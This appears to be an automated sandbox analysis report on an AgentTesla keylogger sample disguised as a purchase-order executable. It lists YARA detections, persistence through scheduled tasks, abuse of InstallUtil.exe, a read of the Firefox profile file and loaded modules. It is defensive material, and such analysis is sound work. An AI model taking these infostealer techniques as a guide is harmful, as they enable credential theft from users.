Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_0618F1A8	6_2_0618F1A8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_0619CAC8	6_2_0619CAC8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06198EE0	6_2_06198EE0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06198374	6_2_06198374
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_0619A4A0	6_2_0619A4A0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_0619CAB8	6_2_0619CAB8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06198ED1	6_2_06198ED1
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_0619A490	6_2_0619A490
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_0619ED77	6_2_0619ED77
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_0619ED88	6_2_0619ED88
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_061935B8	6_2_061935B8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06240006	6_2_06240006
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06240040	6_2_06240040
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_064BD8C0	6_2_064BD8C0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_064A0040	6_2_064A0040
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_064A0006	6_2_064A0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_026893F8	7_2_026893F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_02684A60	7_2_02684A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_02683E48	7_2_02683E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_0268CF28	7_2_0268CF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_02689C70	7_2_02689C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_02684190	7_2_02684190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05DA56A8	7_2_05DA56A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05DA0040	7_2_05DA0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05DABCC0	7_2_05DABCC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05DADC00	7_2_05DADC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05DA3F20	7_2_05DA3F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05DA2EE8	7_2_05DA2EE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05DA8B60	7_2_05DA8B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05DA3630	7_2_05DA3630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05DA4FC8	7_2_05DA4FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_02689C68	7_2_02689C68
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_00FDC340	8_2_00FDC340
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_00FD7EF8	8_2_00FD7EF8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_00FD7EE8	8_2_00FD7EE8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A572F0	8_2_05A572F0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A57FA9	8_2_05A57FA9
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A5F805	8_2_05A5F805
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A585A0	8_2_05A585A0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A57509	8_2_05A57509
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A504E0	8_2_05A504E0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A504CF	8_2_05A504CF
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A51607	8_2_05A51607
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A51618	8_2_05A51618
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A572E0	8_2_05A572E0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A56F45	8_2_05A56F45
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A56B37	8_2_05A56B37
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A56B38	8_2_05A56B38
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A83860	8_2_05A83860
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A80668	8_2_05A80668
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A80658	8_2_05A80658
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A83B87	8_2_05A83B87
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A84A68	8_2_05A84A68
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BE3C08	8_2_05BE3C08
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BE2F48	8_2_05BE2F48
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BE2F39	8_2_05BE2F39
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BEF1A8	8_2_05BEF1A8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BEF199	8_2_05BEF199
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BE3BF8	8_2_05BE3BF8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BFA4A0	8_2_05BFA4A0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BF8374	8_2_05BF8374
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BF8EE0	8_2_05BF8EE0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BFCAC8	8_2_05BFCAC8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BF35B8	8_2_05BF35B8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BFED88	8_2_05BFED88
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BFA490	8_2_05BFA490
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BF8ED1	8_2_05BF8ED1
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BFCA28	8_2_05BFCA28
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05CA0040	8_2_05CA0040
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05CA0021	8_2_05CA0021
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05F1D8C0	8_2_05F1D8C0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05F00040	8_2_05F00040
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05F00006	8_2_05F00006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_00CA4A60	9_2_00CA4A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_00CA9C68	9_2_00CA9C68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_00CA3E48	9_2_00CA3E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_00CACF28	9_2_00CACF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_00CA4190	9_2_00CA4190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_055BBCC0	9_2_055BBCC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_055B8B53	9_2_055B8B53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_055BDBF0	9_2_055BDBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_055B361B	9_2_055B361B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_055B56A8	9_2_055B56A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_055B0040	9_2_055B0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_055B3F20	9_2_055B3F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_055B4FC8	9_2_055B4FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_055B2EE8	9_2_055B2EE8

Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003909000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003909000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFwwpi.exe, vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000000.1420783379.00000000005A6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFwwpi.exe, vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1484550695.0000000005B40000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameHvvnj.dll" vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003A03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7dfcfdf2-d881-49c9-a39e-708aca656f85.exe4 vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1464343248.000000000099E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.00000000028DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1486633819.0000000005EF0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHvvnj.dll" vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.0000000002C6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7dfcfdf2-d881-49c9-a39e-708aca656f85.exe4 vs PO_9876563647-FLOWTRONIX (FT)UUE.exe
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe	Binary or memory string: OriginalFilenameFwwpi.exe, vs PO_9876563647-FLOWTRONIX (FT)UUE.exe

Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 6.2.Xpnzea.exe.3d34a70.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.Xpnzea.exe.3d34a70.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 2.2.InstallUtil.exe.770000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 2.2.InstallUtil.exe.770000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 6.2.Xpnzea.exe.3d34a70.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.Xpnzea.exe.3d34a70.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload

Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, F8VZVLUPkb76WPMZ4nC.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, F8VZVLUPkb76WPMZ4nC.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, F8VZVLUPkb76WPMZ4nC.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, F8VZVLUPkb76WPMZ4nC.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3909570.1.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3909570.1.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3909570.1.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3909570.1.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3909570.1.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3909570.1.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3909570.1.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3909570.1.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3909570.1.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3909570.1.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/2@2/2

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe

File created: C:\Users\user\AppData\Roaming\Xpnzea.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Mutant created: NULL

Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe	ReversingLabs: Detection: 47%
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe	Virustotal: Detection: 32%

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe

File read: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe "C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe"
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Xpnzea.exe "C:\Users\user\AppData\Roaming\Xpnzea.exe"
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Xpnzea.exe "C:\Users\user\AppData\Roaming\Xpnzea.exe"
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
